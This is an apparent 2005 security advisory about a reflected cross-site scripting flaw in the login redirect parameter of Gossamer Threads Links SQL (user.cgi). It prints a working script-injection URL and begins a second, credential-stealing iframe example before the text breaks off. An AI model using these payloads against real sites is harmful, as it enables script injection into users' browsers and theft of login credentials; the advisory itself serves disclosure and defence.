Gossamer Threads Links SQL login XSS Vulnerability
Class
Input Validation XSS
Remote Local Published / Updated
Yes Yes 04th May 2005
Vulnerable
Vulnerable: Gossamer Threads Links SQL v3.0
+ Links SQL 2.x
+ Links SQL 2.2.x
+ Links SQL 3.0
Not Vulnerable
-
Discussion
Links SQL is a perl/mod_perl/PHP web application written by Gossamer Threads and is used to build any type of directory. Although designed to manage links, Links SQL is very customisable and is used all over the Internet for a wide range of tasks such as Image Galleries, Press Releases, Yellowpages, Company Directories, and other categorised databases.
The URL variable in the Gossamer Threads Links SQL login page (user.cgi) is a hidden field in the login form and can be passed directly to user.cgi in the form of user.cgi?url="xyz"
The URL variable is client side input created by the browser when a user clicks on a link which requires authentication.
After authentication the user is redirected to the URL in the URL variable.
This URL variable does not sufficiently validate the client side input and is therefore vulnerable to script injection and cross site scripting (XSS) attacks.
Exploit
This is a standard XSS vulnerability.
Note an attacker would normally obfuscate the linking code but for these examples I have made it simple for the sake of understanding.
Simple Example 1 (Pop up)
/user.cgi?url="><script>alert("XSS Vulnerability")</script><"&from=rate
Resulting in the following within the HTML being injected:
<script>alert("XSS Vulnerability")</script><"" />
Simple Example 2 (iframe to steal username and password)
/user.cgi?url=">